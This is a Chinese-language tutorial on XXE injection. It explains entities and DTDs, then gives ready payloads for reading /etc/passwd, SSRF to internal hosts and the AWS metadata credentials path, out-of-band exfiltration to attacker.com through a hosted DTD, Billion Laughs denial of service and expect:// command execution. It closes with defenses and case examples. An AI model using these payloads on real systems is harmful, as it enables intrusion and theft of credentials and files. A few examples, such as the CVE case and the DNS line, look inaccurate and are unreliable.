点我
XXE
XXE
一、定义
XML 外部实体注入(XML External Entity,XXE)漏洞是一种基于 XML 数据解析的严重安全漏洞,允许攻击者通过操纵 XML 输入干扰应用程序的逻辑、窃取敏感数据甚至控制服务器基础设施。
二、原理
XML 实体基础
XML(可扩展标记语言)通过实体(Entity)机制实现数据的复用,实体分为:
内部实体:定义在文档内部的文本片段
<!ENTITY example "Hello World">
外部实体:引用外部资源(文件/URL/网络服务)
<!ENTITY xxe SYSTEM "file:///etc/passwd">
参数实体(DTD 内部使用,以
%
开头)<!ENTITY % param_entity "恶意内容">
DTD(文档类型定义)
DTD 是 XML 的早期模式定义语言,允许声明实体和文档结构。XXE 的核心在于攻击者劫持 DTD 的实体解析过程。
例如:
<!DOCTYPE attack [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
当 XML 解析器处理此文档时,会读取 /etc/passwd
的内容并替换 &xxe;
。
漏洞触发条件
- 应用程序接受用户提供的 XML 输入。
- XML 解析器启用 外部实体解析(默认配置下如 PHP 的 SimpleXML、Java 的 SAXParser)。
- 解析结果可被攻击者观测(直接回显、错误日志、带外通信等)。
三、XXE 攻击场景与利用手法
经典文件读取
通过 file://
协议读取服务器本地文件:
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>
变种技巧:
使用
php://filter
读取 PHP 文件源码(Base64 编码绕过)<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
- Windows 下通过
file:///c:/windows/win.ini
验证路径
服务端请求伪造(SSRF)
利用 XML 解析器发起网络请求,探测内网服务:
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api">
]>
<data>&ssrf;</data>
高级利用:
攻击云元数据服务(如 AWS IMDSv1):
<!ENTITY metadata SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
结合 DNS 回传数据:
<!ENTITY exfil SYSTEM "http://attacker.com/?data=file:///etc/passwd">
盲注 XXE(Blind XXE)
当响应不可见时,通过带外通信(OOB, Out-of-Band)泄露数据:
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
]>
<data>&exfil;</data>
攻击者托管 malicious.dtd
:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
拒绝服务(DoS)
通过实体扩展耗尽资源(如 "Billion Laughs" 攻击):
<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
<!-- 递归定义直至内存耗尽 -->
]>
<data>&lol9;</data>
特定协议拓展
PHP expect 模块:执行系统命令(需安装
expect
扩展)<!ENTITY cmd SYSTEM "expect://id">
- Jar 协议(Java):触发反序列化(需特定环境配置)
四、XXE 漏洞的检测与验证
手动检测
替换 XML 声明:插入恶意 DTD 并观察响应变化。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
- 修改 Content-Type:将表单的
application/json
改为application/xml
测试解析器兼容性。
自动化工具
- Burp Suite:使用 Scanner 模块或 Collaborator 检测 OOB 请求。
- XXEinjector:自动化生成 Payload 并测试多种协议。
- OWASP ZAP:主动扫描模式检测 XXE 潜在风险。
盲注检测信号
- DNS 查询:观察是否存在
dig
请求到攻击者域名。 - HTTP 回调:检查是否接收到来自目标服务器的 GET/POST 请求。
五、XXE 漏洞防御策略
禁用外部实体解析
Java:配置
DocumentBuilderFactory
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
- PHP:使用
libxml_disable_entity_loader(true);
- Python:
defusedxml
库替代标准库
输入过滤与净化
- 移除 XML 中的
<!DOCTYPE>
和<!ENTITY>
声明 - 使用正则表达式黑名单过滤
SYSTEM
、PUBLIC
等关键词
使用安全替代格式
- 优先选择 JSON 而非 XML,使用
JsonReader
或JsonParser
- 若必须使用 XML,采用 XSD(XML Schema) 替代 DTD
服务器端加固
- 限制 XML 解析器的网络访问权限(防火墙规则)
- 定期更新 XML 处理库(如 Apache Xerces、libxml2)
安全编码实践
- 避免直接拼接用户输入到 XML 文档
- 对敏感操作(如文件读取)实施权限最小化原则
六、真实案例分析
- PayPal 2013:通过 XXE 读取服务器配置,获取加密密钥
- Facebook 2014:利用 SVG 图片上传功能触发 XXE,读取内部文件
- CVE-2019-6447:ES 文件浏览器漏洞导致数亿用户数据泄露
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论